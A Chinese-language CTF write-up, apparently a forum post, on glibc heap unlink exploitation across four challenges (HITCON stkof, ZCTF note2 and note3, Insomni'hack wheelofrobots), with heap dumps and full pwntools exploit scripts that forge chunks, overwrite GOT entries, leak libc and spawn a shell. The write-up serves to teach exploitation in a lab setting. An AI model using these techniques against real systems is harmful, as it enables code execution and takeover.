昨天接触到了一个新的堆溢出技巧——unlink。
unlink的原理介绍网上很多资料介绍的都很详细了,这里推荐一个
unlink,我下面分析的题目也都是这个链接所提供的题目。前辈的文章已经非常详尽了,我前人的肩膀上做一个补充。
这里再简单的介绍一下unlink。
unlink 用来将一个双向链表(只存储空闲的 chunk)中的一个元素取出来,可能在以下地方使用
malloc
从恰好大小合适的 large bin 中获取 chunk。
这里需要注意的是 fastbin 与 small bin 就没有使用 unlink,这就是为什么漏洞会经常出现在它们这里的原因。
依次遍历处理 unsorted bin 时也没有使用 unlink 的。
从比请求的 chunk 所在的 bin 大的 bin 中取 chunk。
Free
后向合并,合并物理相邻低地址空闲 chunk。
前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。
malloc_consolidate
后向合并,合并物理相邻低地址空闲 chunk。
前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。
realloc
前向扩展,合并物理相邻高地址空闲 chunk(除了top chunk)。
关于unlink的漏洞利用效果最终是指向前方三个内存单元处,我觉得这里需要注意的是,也是让我混乱过的是,到底指向谁的前方三个内存单元处?这个需要好好思考一下,有一些绕。
我们来观察一下这个语句(非正常情况的前提下),BK->fd = FD ,即将FD指向的内容存储到BK->fd地址当中去(表达可能并不是十分准确)。
2014 HITCON stkof
-virtual-machine:~/Desktop/CTF/summer/unlink/2014_hitcon_stkof$ checksec stkof
[*] '/home/wby/Desktop/CTF/summer/unlink/2014_hitcon_stkof/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
基本功能:
1.申请内存
2.释放内存
3.向内存中写入数据(存在堆溢出)
其他信息:
通过分析申请内存的函数可知,申请到的内存块都被管理在一个全局变量当中。分析如下图可得上面结果:
还有一个有意思的情况是,这道题目的源代码开始部分没有setbuf()/setvbuf()函数,又涨了一个新姿势。以前看到的题目都有这个函数也没有思考过这个函数的作用,前辈的文章指出,再参考一些资料。大多数题目的setbuf()/setvbuf()函数的作用是用来关闭I/O缓冲区,本题没有关闭缓冲区,函数运行开始阶段在fgets()函数以及printf()函数运行的时候,会malloc()两块内存区域。 和题目本身没有太大的影响,介绍一下这个有意思的现象。
基本情况介绍完毕,下面我们开始介绍如何利用:
首先讲一下利用思路,为了获得shell权限,我们可以运行system("/bin/sh"),也可以one_gadget,怎么获得运行system函数呢?本文有free/malloc函数的运用,既可以将__malloc_hook()/__free/hook()指向system,还可以赋写GOT表,将system覆盖到free/malloc的GOT表中。怎么完成写入操作呢?我们可以利用unlink来进行写入操作。
1.利用unlink修改修改GOT表。
2.泄露libc基址。
3.将free_got改成system_addr.
4.free一个内存块,其中的内容是"/bin/sh"。
首先malloc四块内存,每块都有相应的用处。
new(0x20)
new(0x30)
new(0x80)
#最后free的chunk必须不是fastbin
new(0x20)
查看一下现在的内存信息:
pwndbg> heap
0x18df000 PREV_INUSE { 这一个是fgets申请的输入缓冲
prev_size = 0x0,
size = 0x1011,
fd = 0xa0a32330a31,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x18e0010 FASTBIN { new 1
prev_size = 0x0,
size = 0x31,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x18e0040 PREV_INUSE { printf申请的输出缓冲
prev_size = 0x0,
size = 0x411,
fd = 0xa4b4f,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x18e0450 FASTBIN { new 2
prev_size = 0x0,
size = 0x41,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x18e0490 PREV_INUSE { new 3 必须不在fastbin范围中,不然free操作时不会向前合并空闲内存
prev_size = 0x0,
size = 0x91,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x18e0520 FASTBIN { new 4 最后用来防止"/bin/sh\00"字符串
prev_size = 0x0,
size = 0x31,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x18e0550 PREV_INUSE {
prev_size = 0x0,
size = 0x20ab1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
查看一下存储申请的全局变量,那我们给他一个名字global:
pwndbg> x/6xg 0x602140
0x602140: 0x0000000000000000 0x00000000018e0020
0x602150: 0x00000000018e0460 0x00000000018e04a0
0x602160: 0x00000000018e0530 0x0000000000000000
下面我们开始都溢出构造unlink的条件,在编辑内存块2的时候溢出,覆盖到内存块3的pre_size、size信息,然后free 内存块3的时候,会向前合并内存块2,unlink操作进行时,会将内存块2指向他的前面三个内存单元处。
target = 0x602140 + 0x10 //global[2]
fd = target - 0x18
bk = target - 0x10
#free(3)
#raw_input("wait")
payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += "a"*0x10 //到这里是伪chunk的信息
payload += p64(0x30) + p64(0x90) //这里是覆盖内存块3的前两个内存单元
edit(2,payload)
查看内存信息:
pwndbg> x/10xg 0x00000000018e0450
0x18e0450: 0x0000000000000000 0x0000000000000041
0x18e0460: 0x0000000000000000 0x0000000000000030 //构造的伪chunk的起点
0x18e0470: 0x0000000000602138 0x0000000000602140 //target -0x18 / -0x10
0x18e0480: 0x6161616161616161 0x6161616161616161
0x18e0490: 0x0000000000000030 0x0000000000000090 //覆盖了chunk3的前两个内存单元,为free 内存3时可以向前合并内存块2做准备。
free(3)
sh.recvuntil("OK\n")
查看内存:
pwndbg> x/6xg 0x602140
0x602140: 0x0000000000000000 0x00000000018e0020
0x602150: 0x0000000000602138 0x0000000000000000
0x602160: 0x00000000018e0530 0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7f7135015b78 (main_arena+88) —▸ 0x18e0460 ◂— 0x7f7135015b78
smallbins
empty
largebins
可以看到global[2]的值被改成global[0]-0x8,但是经过free 内存块也将伪chunk和内存块3合并放到unsorted bin中去了。
下面的可以通过编辑内存块2来实现将global[1],global[2]覆盖,具体利用如下:
elf = ELF("./stkof")
libc = ELF("./libc.so.6")
free_got = elf.got["free"]
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
payload2 = "a"*0x10 #填充global[]-8,global[0]。
payload2 += p64(free_got) + p64(puts_got) //覆盖global[1],global[2]为free_got,puts_got
edit(2,payload2)
c查看内存:
pwndbg> x/8xg 0x602130
0x602130: 0x0000000000000000 0x6161616161616161
0x602140: 0x6161616161616161 0x0000000000602018
0x602150: 0x0000000000602020 0x0000000000000000
0x602160: 0x00000000018e0530 0x0000000000000000
然后在通过edit 内存块1将puts_plt覆盖到free_got中去,那么执行free内存块2的时候,就可以将puts的实际地址泄露。
payload3 = p64(puts_plt)
edit(1,payload3)
free(2)
puts_addr = u64(sh.recvuntil("\nOK\n",drop = True).ljust(8,'\x00'))
然后计算出libc基址,并且计算出需要的变量的地址。
puts_offset = libc.symbols["puts"]
system_offset = libc.symbols["system"]
binsh_offset = libc.search('/bin/sh').next()
libc_base = puts_addr - puts_offset
system_addr = libc_base + system_offset
将system写入free_got中,将内存块4中写入"/bin/sh\00",然后free 内存块4即运行system("/bin/sh\00")。
payload4 = p64(system_addr)
#payload4 = p64(0x000000000004526a)
edit(1,payload4)
raw_input("wait")
edit(4,"/bin/sh\00")
free(4)
sh.interactive()
最后附上完整的利用代码:
#!usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import*
context(log_level = "debug",os = "linux")
context.terminal = ["gnome-terminal","-x","sh","-c"]
sh = process("./stkof")
def new(size):
sh.sendline("1")
sh.sendline(str(size))
sh.recvuntil("OK\n")
def free(idx):
sh.sendline("3")
sh.sendline(str(idx))
def edit(idx,strings):
sh.sendline("2")
sh.sendline(str(idx))
sh.sendline(str(len(strings)))
sh.send(strings)
sh.recvuntil("OK\n")
pwnlib.gdb.attach(sh,"b *0x400c58")
new(0x20)
new(0x30)
new(0x80)
new(0x20)
#最后free的chunk必须不是fastbin
target = 0x602140 + 0x10
fd = target - 0x18
bk = target - 0x10
#free(3)
#raw_input("wait")
payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += "a"*0x10
payload += p64(0x30) + p64(0x90)
edit(2,payload)
free(3)
sh.recvuntil("OK\n")
elf = ELF("./stkof")
libc = ELF("./libc.so.6")
free_got = elf.got["free"]
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
payload2 = "a"*0x10
payload2 += p64(free_got) + p64(puts_got)
edit(2,payload2)
payload3 = p64(puts_plt)
edit(1,payload3)
free(2)
puts_addr = u64(sh.recvuntil("\nOK\n",drop = True).ljust(8,'\x00'))
#print hex(puts_addr)
puts_offset = libc.symbols["puts"]
system_offset = libc.symbols["system"]
binsh_offset = libc.search('/bin/sh').next()
libc_base = puts_addr - puts_offset
system_addr = libc_base + system_offset
payload4 = p64(system_addr)
#payload4 = p64(0x000000000004526a)
edit(1,payload4)
raw_input("wait")
edit(4,"/bin/sh\00")
free(4)
sh.interactive()
2016 zctf note2
参考链接中有的内容我不再重复,这道题目可以说是较上道题目的升级版。
上道题目对于创建元素个数无限制,而且可以直接溢出,并且没有字节限制;而这道题目有申请的新的元素个数限制,并且堆溢出是通过无符号-1为最大这个知识点来溢出,并且edit的时候有size的限制。
优点是带有打印功能,可以利用此功能泄露地址。
因此本道题目采用的覆盖的方法非常有特点,节约申请的元素个数。
创建三个堆块,第一个第三个尽量大一些,第三个大一些是为了可以unlink,第一个大一些是因为这道题目具有edit的size限制,后文进行edit操作的时候可以正常进行。
第二个堆块大小设置成fastbin并且0x20大小,因为当输入size=0的时候哦,size-1=-1,无符号整形-1为最大,可以进行堆溢出。
在创建完三个堆块的时候,free第二个。在同样申请size=0的chunk,然后将会把fastbin中的chunk分配出去,然后可以覆盖第三块chunk,伪造pre_size,size内容,为unlink创造条件。
#!usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import*
context(log_level = "debug",os = "linux")
context.terminal = ["gnome-terminal","-x","sh","-c"]
sh = process("./note2")
def new(size,content):
sh.recvuntil("option--->>\n")
sh.sendline("1")
sh.recvuntil("Input the length of the note content:(less than 128)\n")
sh.sendline(str(size))
sh.recvuntil("Input the note content:\n")
sh.sendline(content)
sh.recvuntil("note add success,")
def free(idx):
sh.recvuntil("option--->>\n")
sh.sendline("4")
sh.recvuntil("Input the id of the note:\n")
sh.sendline(str(idx))
sh.recvuntil("delete note success!\n")
def edit(idx,choice,content):
sh.recvuntil("option--->>\n")
sh.sendline("3")
sh.recvuntil("Input the id of the note:\n")
sh.sendline(str(idx))
sh.recvuntil("do you want to overwrite or append?[1.overwrite/2.append]\n")
sh.sendline(str(choice))
sh.recvuntil("TheNewContents:")
sh.sendline(content)
sh.recvuntil("Edit note success!\n")
def show(idx):
sh.recvuntil("option--->>\n")
sh.sendline("2")
sh.recvuntil("Input the id of the note:\n")
sh.sendline(str(idx))
sh.recvuntil("Content is ")
pwnlib.gdb.attach(sh,"b *0x400f75")
sh.recvuntil("name:\n")
sh.sendline("liurunhao")
sh.recvuntil("address:\n")
sh.sendline("no address")
target = 0x602120
fd = target - 0x18
bk = target - 0x10
payload1 = "a"*0x8 + p64(0xa0)
payload1 += p64(fd)+p64(bk)
payload1 += "a"*0x60 #为下面的unlink做准备,事先准备好
new(0x80,payload1)
new(0,"1234") #中间是fastbin
new(0x80,"12345678910") #下面是small bin
free(1) #将内存块free掉
payload2 = "a"*0x10
payload2 += p64(0xa0)+p64(0x90)
new(0,payload2) #溢出
free(2) #free后面的内存块,触发unlink,将全局变量的内容指向他的前三个单元处
elf = ELF("./note2")
libc = ELF("./libc-1.23.so")
atoi_got = elf.got["atoi"]
one_gadget_offset = 0x413d4
system_offset = libc.symbols["system"]
atoi_offset = libc.symbols["atoi"]
payload2 = "a"*0x18 + p64(atoi_got)
edit(0,1,payload2) #将我们的目的全局变量修改成atoi_got
show(0) #泄露atoi的地址
atoi_address = u64(sh.recvuntil("\n",drop=True).ljust(8,"\00"))
libc_base = atoi_address - atoi_offset
one_gadget_address = libc_base + one_gadget_offset
system_addr = libc_base + system_offset
print "atoi_address ="+str(atoi_address)
print "libc_base ="+str(libc_base)
print "system_offset ="+str(system_offset)
edit(0,1,p64(system_addr)) #将system写入atoi_got
sh.recvuntil("option--->>\n")
sh.sendline("/bin/sh")
sh.interactive()
2016 ZCTF note3
利用思路同note2相同,注释中标注出了该注意的地方。
#!usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import*
context(log_level = "debug",os = "linux")
context.terminal = ["gnome-terminal","-x","sh","-c"]
sh = process("./note3")
def new(size,content):
sh.recvuntil("option--->>\n")
sh.sendline("1")
sh.recvuntil("Input the length of the note content:(less than 1024)\n")
sh.sendline(str(size))
sh.recvuntil("Input the note content:\n")
sh.sendline(content)
sh.recvuntil("note add success,")
def free(idx):
sh.recvuntil("option--->>\n")
sh.sendline("4")
sh.recvuntil("Input the id of the note:\n")
sh.sendline(str(idx))
#sh.recvuntil("Delete success\n")
def edit(idx,content):
sh.recvuntil("option--->>\n")
sh.sendline("3")
sh.recvuntil("Input the id of the note:\n")
sh.sendline(str(idx))
sh.recvuntil("Input the new content:\n")
sh.sendline(content)
sh.recvuntil("Edit success!\n")
#pwnlib.gdb.attach(sh,"b *0x400f75")
target = 0x6020c0+0x8
fd = target - 0x18
bk = target - 0x10
payload1 = "a"*0x8 + p64(0xa0)
payload1 += p64(fd)+p64(bk)
payload1 += "a"*0x60 #为下面的unlink做准备
new(0x80,payload1)
new(0,"1234") #中间是fastbin
new(0x80,"12345678910") #下面是small bin
free(1) #将内存块free掉
sh.recvuntil("Delete success\n")
payload2 = "a"*0x10
payload2 += p64(0xa0)+p64(0x90)
new(0,payload2) #溢出
free(2)#free后面的内存块,触发unlink
sh.recvuntil("Delete success\n")
elf = ELF("./note3")
libc = ELF("./libc-2.23.so")
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
free_got = elf.got["free"]
atoi_got = elf.got["atoi"]
system_offset = libc.symbols["system"]
atoi_offset = libc.symbols["atoi"]
puts_offset = libc.symbols["puts"]
payload3 = "a"*0x18 + p64(free_got) + p64(puts_got)
edit(0,payload3) #覆盖全局变量表
payload4 = p64(puts_plt)[:-1] #点睛 解决了只能包含“\n”只能发送八个字节的问题
edit(0,payload4) #覆盖free_got为puts_plt
new(0x20,"/bin/sh\00")
free(1)
puts_addr = u64(sh.recvuntil("\nDelete success\n",drop=True).ljust(8,"\00"))
print hex(puts_addr)
libc_base = puts_addr - puts_offset
system_addr = libc_base + system_offset
payload5 = p64(system_addr)[:-1]
edit(0,payload5) #覆盖free_got为system
free(2)
#sh.sendline("ls")
sh.interactive()
2017_insomni'hack_wheelofrobots
这道题目较前几道的题目结构稍微复杂一些,虽然构造起来的机制是相同的,但是这篇文章构造起来混乱一些。
无奈我自己尝试做了一段时间没有成功,因为时间并不是十分充裕,我分析了wiki上面给的writeup。
首先这个程序的洞在于choice_robot的时候会覆盖到bender_inuse的低位。而且每一个robot在free之后,全局向量表的内容还有申请内存块的大小都没有相应的清除,这为我们利用提供了利用的条件。而且这个程序有类似的edit的功能,这个程序里面对应的是change_name功能,实际上大同小异。
本题的收获是:1.加深了了解任意地址写,其实当初在2016 Asis b00ks就用到了这个技术;2.如果不想程序退出的话,比如,在exit_got中写入init的地址。
整理的相应的全局变量的位置:
0x130 limit_num
0x110 choice_robot
Robot_name inuse malloc(name)_addr size size''_addr
Tinny_1 0x120 0x0f8 0x14
Bender_2 0x114 0x0f0 20*size'' 0x138
Robot_3 0x124 0x100 20*size'' 0x140
chain_4 0x118 0x0e0 0xfa0
Billionaire 0x128 0x108 0x9c40
Bestructor 0x11c 0x0e8 20*size'' 0x148
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
context.binary = "./wheelofrobots"
robots = ELF('./wheelofrobots')
p = process("./wheelofrobots")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset
def add(idx, size=0):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Your choice :')
p.sendline(str(idx))
if idx == 2:
p.recvuntil("Increase Bender's intelligence: ")
p.sendline(str(size))
elif idx == 3:
p.recvuntil("Increase Robot Devil's cruelty: ")
p.sendline(str(size))
elif idx == 6:
p.recvuntil("Increase Destructor's powerful: ")
p.sendline(str(size))
def remove(idx):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Your choice :')
p.sendline(str(idx))
def change(idx, name):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Your choice :')
p.sendline(str(idx))
p.recvuntil("Robot's name: \n")
p.send(name)
def start_robot():
p.recvuntil('Your choice :')
p.sendline('4')
def overflow_benderinuse(inuse):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Your choice :')
p.send('9999' + inuse)
def write(where, what):
change(1, p64(where))
change(6, p64(what))
def exp():
pwnlib.gdb.attach(p,"b* 0x004017f2")
print "step 1"
# add a fastbin chunk 0x20 and free it
# so it is in fastbin, idx2->NULL
add(2, 1) # idx2 先申请一个大小为0x20的chunk,然后free掉使其进入fastbins,以便我们后来通过UAF漏洞来讲0x138放入fd中。
remove(2)
# overflow bender inuse with 1
overflow_benderinuse('\x01') #覆盖Bender的inuse位,为了能够继续使用chang_name功能。
# change bender's fd to 0x603138, point to bender's size
# now fastbin 0x20, idx2->0x603138->NULL
change(2, p64(0x603138)) #将0x138放到fd的位置。
# in order add bender again
overflow_benderinuse('\x00') #将Bender_inuse位改回0
# add bender again, fastbin 0x603138->NULL
add(2, 1) #申请一个0x20大小的chunk,这样bin中只存在0x138
# in order to malloc chunk at 0x603138
# we need to bypass the fastbin size check, i.e. set *0x603140=0x20
# it is at Robot Devil
add(3, 0x20) #为了能够使我们伪造的0x138像正常的fastbin被分配,需要通过检查,即需要设置size = 0x20。而0x138的size位置正好是0x140,即Robot_3的size''位置。
# trigger malloc, set tinny point to 0x603148
add(1) #伪造安全检查完毕,然后将0x138分配到tinny_1。我们将0x138分配到Tinny_1的目的是,我们就可以通过chang_TinnyName来控制0x148的值,而0x148的是Robot_6的size'',即我们就可以控制Robot的写入长度,就可以进行堆溢出。
# wheels must <= 3
remove(2)
remove(3)
print 'step 2'
# alloc Destructor size 60->0x50, chunk content 0x40
add(6, 3) #将Robot_6事先分配好,然后向高内存溢出。
# alloc devil, size=20*7=140, bigger than fastbin
add(3, 7)
# edit destructor's size to 1000 by tinny
change(1, p64(1000)) #控制0x148的值,即Robot的读取长度足够长。
# place fake chunk at destructor's pointer
fakechunk_addr = 0x6030E8
fakechunk = p64(0) + p64(0x40) + p64(fakechunk_addr - 0x18) + p64(
fakechunk_addr - 0x10) + p64(0x20)
fakechunk = fakechunk.ljust(0x40, 'a')
fakechunk += p64(0x40) + p64(0xa0)
change(6, fakechunk) #伪造unlink触发的条件
# trigger unlink
remove(3) #触发unlink,则相应的全局变量内容被改写。
print 'step 3'
# make 0x6030F8 point to 0x6030E8
payload = p64(0) * 2 + 0x18 * 'a' + p64(0x6030E8) #修改全局变量,使Tinny_name的值指向存储Robot6_name的全局变量处。 ---------------------这就可以实现任意地址写。
# 任意地址写的说明:由于Tinny_name的值指向存储Robot_6_name的全局变量,因此change_name(1)会改变Robot_6_name的地址;然后再change_name(6)会向改变的地址中写入东西。即比如想向A中写入B,我们可以将Tinny_name的值改成A,然后再改变Robot_6_name的值为B。
change(6, payload)
print 'step 4'
# make exit just as return
write(robots.got['exit'], 0x401954) 由于程序打印结束就执行exit(),为了不让程序退出,将exit_Got写入init的地址。
print 'step 5'
# set wheel cnt =3, 0x603130 in order to start robot
write(0x603130, 3)
# set destructor point to puts@got
change(1, p64(robots.got['puts']))
start_robot()
p.recvuntil('New hands great!! Thx ')
puts_addr = p.recvuntil('!\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc base: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
# make free->system
write(robots.got['free'], system_addr)
# make destructor point to /bin/sh addr
write(0x6030E8, binsh_addr)
# get shell
remove(6)
p.interactive()
pass
if __name__ == "__main__":
exp()
idd&&xhh
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
最后于 2019-11-3 08:55
被Seclusion编辑
,原因: